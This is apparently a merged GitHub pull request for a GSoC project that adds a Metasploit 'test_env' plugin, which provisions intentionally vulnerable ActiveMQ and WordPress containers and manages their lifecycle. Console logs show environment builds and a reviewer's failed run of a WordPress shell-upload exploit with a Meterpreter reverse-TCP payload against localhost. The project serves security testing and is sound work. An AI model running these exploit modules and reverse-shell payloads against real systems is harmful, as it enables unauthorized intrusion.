Skip to content

Vulnenv week7 - #8

Merged
Nayeraneru merged 11 commits into
vulnenvfrom
vulnenv-week7
Aug 1, 2026
Merged

Vulnenv week7#8
Nayeraneru merged 11 commits into
vulnenvfrom
vulnenv-week7

Conversation

@Nayeraneru

@Nayeraneru Nayeraneru commented Jul 25, 2026

Copy link
Copy Markdown
Owner

Refering to rapid7#20506
GSoC 2026 — Week 7 deliverables for the Automated Vulnerable Environment Provisioning project.

Environment Lifecycle Management Commands

Implements the full suite of environment control subcommands: test_env list, stop, start, remove, and remove-all. These commands operate against the YAML-backed registry and container runtime, providing a unified control layer for provisioned environments.

  • test_env list — Displays all tracked environments in a Rex::Ui::Text::Table with ID, container short-ID, module, RHOST, RPORT, status, and version. Includes a NameError fallback to plain-text formatting for contexts where the table class is not yet autoloaded (e.g., msfconsole -q).
  • test_env stop <range> — Stops running containers via the runtime adapter and updates registry status to stopped. Supports comma-separated and dash-separated ID ranges (1-3,5).
  • test_env start <ID> — Restarts a stopped container and re-runs the environment's health check before marking it running. Validates readiness, not just container process state.
  • test_env remove <range> — Force-stops and force-removes containers (docker rm -f / podman rm -f), cleans up temporary volume directories, and purges registry entries. Operates on ranges with per-item error reporting: one failure does not abort the batch.
  • test_env remove-all — Atomically tears down all tracked containers and resets the registry state.

ID Range Parsing & Tab Completion

Added parse_id_range to support Metasploit-native range syntax (1, 1-3, 1,3,5, 1-3,5,7-9). cmd_test_env_tabs now dynamically suggests live environment IDs for stop, start, remove, and exec, reducing friction for power users.

Sparse ID Stability Fix

Removed compact_ids! from single-item remove and prune. IDs are now sparse and monotonically stable, matching Metasploit session behavior. This eliminates the identity-shift bug where batch removals (remove 1-3) caused index renumbering mid-iteration, leading to skipped entries and orphaned containers.

Cross-Session Consistency

All lifecycle commands reload the shared YAML registry before operating, ensuring they see environments created or modified by other concurrent msfconsole sessions. remove-all iterates the current global state before atomically resetting it.

test_env build Refactor
Decomposed the monolithic cmd_test_env_build method into discrete, testable phase helpers without changing control flow or error handling

Testing Results

nayera@Nero:~/git/metasploit-framework$ ./msfconsole -q
msf > load test_env
[*] TestEnv plugin loaded. Runtime: docker
[*] Successfully loaded plugin: test_env
msf > use exploit/multi/http/apache_activemq_jolokia_rce
[*] No payload configured, defaulting to cmd/linux/ftp/x64/meterpreter/reverse_tcp
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: e8e1cf77ed45
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: 6f7284335a67
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49158 (service still initializing)
[*]   Attempt 2/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 2
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49158
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49158 TARGETURI=/
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: d8c1ed81b4c8
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49159 (service still initializing)
[*]   Attempt 2/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 3
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49159
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49159 TARGETURI=/
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version
[*] ----------------------------------------------------------------------------------------------------
[*] 1           e8e1cf77ed45exploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49152       running     5.18.6
[*] 2           6f7284335a67exploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49158       running     5.18.6
[*] 3           d8c1ed81b4c8exploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49159       running     5.18.6
[*] 3 environment(s) tracked.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env remove 1-2
[+] Environment 1 removed.
[+] Environment 2 removed.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version
[*] ----------------------------------------------------------------------------------------------------
[*] 3           d8c1ed81b4c8exploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49159       running     5.18.6
[*] 1 environment(s) tracked.
msf > test_env remove-all
[*] Tearing down 1 environment(s)...
[+] All environments removed.
msf > test_env list
[*] No environments currently tracked.
nayera@Nero:~/git/metasploit-framework$ ./msfconsole -q
msf > load test_env
[*] TestEnv plugin loaded. Runtime: docker
[*] Successfully loaded plugin: test_env
msf > use exploit/multi/http/apache_activemq_jolokia_rce
[*] No payload configured, defaulting to cmd/linux/ftp/x64/meterpreter/reverse_tcp
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env build
[*] Resolving environment for exploit/multi/http/apache_activemq_jolokia_rce...
[*] Definition: activemq | Variant: 5.18.6 | Profile: default
[*] Image: docker.io/apache/activemq-classic:5.18.6
[*] Pulling image docker.io/apache/activemq-classic:5.18.6...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: 6b98e8a5a7ee
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 3/12...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env stop 1
[+] Environment 1 stopped.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env stop 1
[!] Environment 1 is already stopped.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version
[*] ----------------------------------------------------------------------------------------------------
[*] 1           6b98e8a5a7eeexploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49152       stopped     5.18.6
[*] 1 environment(s) tracked.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env stop 1
[!] Environment 1 is already stopped.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env start 1
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/12...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/12...
[+] Health check passed.
[+] Environment 1 started. RPORT=49152
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version
[*] ----------------------------------------------------------------------------------------------------
[*] 1           6b98e8a5a7eeexploit/multi/http/apache_activemq_jolokia_rce127.0.0.1   49152       running     5.18.6
[*] 1 environment(s) tracked.
msf exploit(multi/http/apache_activemq_jolokia_rce) > test_env start 1
[!] Environment 1 is already running.

@smcintyre-r7 smcintyre-r7 left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I went through and did some testing.

./msfconsole 
Metasploit tip: When in a module, use back to go back to the top level 
prompt
[*] Using configured payload windows/x64/meterpreter_reverse_http
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[!] The following modules were loaded with warnings:
                                                  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::##############                              :::::::::::::::::::
############################  ##############################  :::::::::::::::::
#########################  ######???????????????????????######  :::::::::::::::
=========================  ####??????????()????()?????????####  :::::::::::::::
=========================  ##????()??????????????    ()?????##  ::::    :::::::
------------=============  ##??????????????????  ;;;;  ?????##  ::  ;;;;  :::::
-------------------------  ##??????????()??????  ;;;;;;?????##    ;;;;;;  :::::
-------------------------  ##??????????????????  ;;;;;;         ;;;;;;;;  :::::
++++++++++++-------------  ##??????????????????  ;;;;;;;;;;;;;;;;;;;;;;;  :::::
+++++++++++++++++++++++++  ##????????????()??  ;;;;;;;;;;;;;;;;;;;;;;;;;;;  :::
+++++++++++++++++++++++++  ##??()????????????  ;;;;;;@@  ;;;;;;;;@@  ;;;;;  :::
%%%%%%%%%%%%%++++    ;;;;  ##????????????????  ;;;;;;    ;;;  ;;;    ;;;;;  :::
%%%%%%%%%%%%%%%%%;;;;;;;;  ####??????()??????  ;;[];;;;;;;;;;;;;;;;;;;;;[]  :::
$$$$$$$$$$$$$%%  ;; %%%%%  ######?????????????  ;;;;;;              ;;;;  :::::
$$$$$$$$$$$$$$$$$  $$$$$$    ###################  ;;;;;;;;;;;;;;;;;;;;  :::::::
$$$$$$$$$$$$$$$$$$$$$$$  ;;;;                                       :::::::::::
:::::::::::::$$$$$$$$$$  ;;;;  ::  ;;  ::::::::::::  ;;  ::  ;;;;  ::::::::::::
:::::::::::::::::::::::      ::::::    :::::::::::::     ::::      ::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::NN::::NN::YY::::YY:::AAAAAA:::NN::::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN::::YYYY::::AAAAAAAA::NN::NNNN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN:::::YY:::::AA::::AA::NN::NNNN:::::::::::::::::::::::::
::::::::::::::::NN::::NN:::::YY:::::AA::::AA::NN::::NN:::!!::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::YOU HAVE DONE THE NYAN FOR 31337 SECONDS!:::::::::::::::::::::


       =[ metasploit v6.4.147-dev-707044c3a8                    ]
+ -- --=[ 2,668 exploits - 1,343 auxiliary - 2,582 payloads     ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

[*] Processing /home/smcintyre/.msf4/msfconsole.rc for ERB directives.
resource (/home/smcintyre/.msf4/msfconsole.rc)> loadpath test/modules
Loaded 45 modules:
    15 auxiliary modules
    13 exploit modules
    17 post modules
msf exploit(windows/smb/psexec) > test_env
[-] Unknown command: test_env. Run the help command for more details.
msf exploit(windows/smb/psexec) > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf exploit(windows/smb/psexec) > test_env -h
Usage: test_env <command>

Commands:
  build      Build and launch environment for active module
  list       List tracked environments
  modules    List all modules with test_env support
  stop <ID>  Stop a running environment
  start <ID> Restart a stopped environment
  remove <ID> Tear down an environment
  remove-all Tear down all environments
  exec <ID>  Execute exploit against environment
  status     Show runtime status
  help       Show this help

msf exploit(windows/smb/psexec) > test_env list
[*] No environments currently tracked.
msf exploit(windows/smb/psexec) > test_env modules
[*] Scanning framework modules for test_env support...
[*] Modules with test_env Support
[*] ==============================================================================================================
[*] Module                                            Definition  Variant   Profile   Ports       Image
[*] --------------------------------------------------------------------------------------------------------------
[*] multi/http/apache_activemq_jolokia_rce            activemq    5.18.6    default   8161→RPORT  docker.io/apache/activemq-classic:5.18.6
[*] unix/webapp/wp_admin_shell_upload                 wordpress   latest    default   80→RPORT    docker.io/eystsen/vulnerablewordpress
[*] Found 2 module(s) with test_env support (scanned 7112 total).
msf exploit(windows/smb/psexec) > use unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: b15d7cdddaad
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 3/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 4/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 5/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
msf exploit(unix/webapp/wp_admin_shell_upload) > show options 

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      49152            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.239  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress



View the full module info with the info, or info -d command.

msf exploit(unix/webapp/wp_admin_shell_upload) > run
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env -h
Usage: test_env <command>

Commands:
  build      Build and launch environment for active module
  list       List tracked environments
  modules    List all modules with test_env support
  stop <ID>  Stop a running environment
  start <ID> Restart a stopped environment
  remove <ID> Tear down an environment
  remove-all Tear down all environments
  exec <ID>  Execute exploit against environment
  status     Show runtime status
  help       Show this help

msf exploit(unix/webapp/wp_admin_shell_upload) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version     
[*] ----------------------------------------------------------------------------------------------------
[*] 1           b15d7cdddaadexploit/unix/webapp/wp_admin_shell_upload127.0.0.1   49152       running     latest      
[*] 1 environment(s) tracked.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 192.168.250.239:4444 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload) > show options 

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      49152            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.239  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress



View the full module info with the info, or info -d command.

msf exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
PASSWORD => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > check
[*] 127.0.0.1:49152 - The target is not exploitable. The target is not vulnerable
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.250.239:4444 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload)

So the environment wasn't identified as running wordpress. I was also surprised that the username and password were printed, but they weren't included in the recommended exploit command and they weren't set in the datastore.

Comment thread plugins/test_env.rb Outdated
Comment thread plugins/test_env.rb Outdated
@Nayeraneru

Nayeraneru commented Jul 29, 2026

Copy link
Copy Markdown
Owner Author

I went through and did some testing.

./msfconsole 
Metasploit tip: When in a module, use back to go back to the top level 
prompt
[*] Using configured payload windows/x64/meterpreter_reverse_http
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[!] The following modules were loaded with warnings:
                                                  
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::##############                              :::::::::::::::::::
############################  ##############################  :::::::::::::::::
#########################  ######???????????????????????######  :::::::::::::::
=========================  ####??????????()????()?????????####  :::::::::::::::
=========================  ##????()??????????????    ()?????##  ::::    :::::::
------------=============  ##??????????????????  ;;;;  ?????##  ::  ;;;;  :::::
-------------------------  ##??????????()??????  ;;;;;;?????##    ;;;;;;  :::::
-------------------------  ##??????????????????  ;;;;;;         ;;;;;;;;  :::::
++++++++++++-------------  ##??????????????????  ;;;;;;;;;;;;;;;;;;;;;;;  :::::
+++++++++++++++++++++++++  ##????????????()??  ;;;;;;;;;;;;;;;;;;;;;;;;;;;  :::
+++++++++++++++++++++++++  ##??()????????????  ;;;;;;@@  ;;;;;;;;@@  ;;;;;  :::
%%%%%%%%%%%%%++++    ;;;;  ##????????????????  ;;;;;;    ;;;  ;;;    ;;;;;  :::
%%%%%%%%%%%%%%%%%;;;;;;;;  ####??????()??????  ;;[];;;;;;;;;;;;;;;;;;;;;[]  :::
$$$$$$$$$$$$$%%  ;; %%%%%  ######?????????????  ;;;;;;              ;;;;  :::::
$$$$$$$$$$$$$$$$$  $$$$$$    ###################  ;;;;;;;;;;;;;;;;;;;;  :::::::
$$$$$$$$$$$$$$$$$$$$$$$  ;;;;                                       :::::::::::
:::::::::::::$$$$$$$$$$  ;;;;  ::  ;;  ::::::::::::  ;;  ::  ;;;;  ::::::::::::
:::::::::::::::::::::::      ::::::    :::::::::::::     ::::      ::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::NN::::NN::YY::::YY:::AAAAAA:::NN::::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN::::YYYY::::AAAAAAAA::NN::NNNN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN:::::YY:::::AA::::AA::NN::NNNN:::::::::::::::::::::::::
::::::::::::::::NN::::NN:::::YY:::::AA::::AA::NN::::NN:::!!::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::YOU HAVE DONE THE NYAN FOR 31337 SECONDS!:::::::::::::::::::::


       =[ metasploit v6.4.147-dev-707044c3a8                    ]
+ -- --=[ 2,668 exploits - 1,343 auxiliary - 2,582 payloads     ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

[*] Processing /home/smcintyre/.msf4/msfconsole.rc for ERB directives.
resource (/home/smcintyre/.msf4/msfconsole.rc)> loadpath test/modules
Loaded 45 modules:
    15 auxiliary modules
    13 exploit modules
    17 post modules
msf exploit(windows/smb/psexec) > test_env
[-] Unknown command: test_env. Run the help command for more details.
msf exploit(windows/smb/psexec) > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf exploit(windows/smb/psexec) > test_env -h
Usage: test_env <command>

Commands:
  build      Build and launch environment for active module
  list       List tracked environments
  modules    List all modules with test_env support
  stop <ID>  Stop a running environment
  start <ID> Restart a stopped environment
  remove <ID> Tear down an environment
  remove-all Tear down all environments
  exec <ID>  Execute exploit against environment
  status     Show runtime status
  help       Show this help

msf exploit(windows/smb/psexec) > test_env list
[*] No environments currently tracked.
msf exploit(windows/smb/psexec) > test_env modules
[*] Scanning framework modules for test_env support...
[*] Modules with test_env Support
[*] ==============================================================================================================
[*] Module                                            Definition  Variant   Profile   Ports       Image
[*] --------------------------------------------------------------------------------------------------------------
[*] multi/http/apache_activemq_jolokia_rce            activemq    5.18.6    default   8161→RPORT  docker.io/apache/activemq-classic:5.18.6
[*] unix/webapp/wp_admin_shell_upload                 wordpress   latest    default   80→RPORT    docker.io/eystsen/vulnerablewordpress
[*] Found 2 module(s) with test_env support (scanned 7112 total).
msf exploit(windows/smb/psexec) > use unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: b15d7cdddaad
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 2/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 3/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 4/10...
[*]   Connection reset on port 49152 (service still initializing)
[*]   Attempt 5/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49152
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
msf exploit(unix/webapp/wp_admin_shell_upload) > show options 

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      49152            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.239  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress



View the full module info with the info, or info -d command.

msf exploit(unix/webapp/wp_admin_shell_upload) > run
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env -h
Usage: test_env <command>

Commands:
  build      Build and launch environment for active module
  list       List tracked environments
  modules    List all modules with test_env support
  stop <ID>  Stop a running environment
  start <ID> Restart a stopped environment
  remove <ID> Tear down an environment
  remove-all Tear down all environments
  exec <ID>  Execute exploit against environment
  status     Show runtime status
  help       Show this help

msf exploit(unix/webapp/wp_admin_shell_upload) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID          Container   Module      RHOST       RPORT       Status      Version     
[*] ----------------------------------------------------------------------------------------------------
[*] 1           b15d7cdddaadexploit/unix/webapp/wp_admin_shell_upload127.0.0.1   49152       running     latest      
[*] 1 environment(s) tracked.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 192.168.250.239:4444 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload) > show options 

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      49152            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.239  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress



View the full module info with the info, or info -d command.

msf exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
PASSWORD => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > check
[*] 127.0.0.1:49152 - The target is not exploitable. The target is not vulnerable
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.250.239:4444 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload)

So the environment wasn't identified as running wordpress. I was also surprised that the username and password were printed, but they weren't included in the recommended exploit command and they weren't set in the datastore.

okay , I injected credentials in datastore

msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: 9691b0132227
[*] Waiting for health check (HTTP)...
[*]   Attempt 1/10...
[*]   Connection reset on port 49158 (service still initializing)
[*]   Attempt 2/10...
[*]   Connection reset on port 49158 (service still initializing)
[*]   Attempt 3/10...
[*]   Connection reset on port 49158 (service still initializing)
[*]   Attempt 4/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*]    RHOSTS       => 127.0.0.1
[*]    RPORT        => 49158
[*]    TARGETURI    => /
[*]    USERNAME     => admin
[*]    PASSWORD     => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49158 TARGETURI=/ USERNAME=admin PASSWORD=admin

and regarding exploit , it's needed for WordPress Install Wizard first

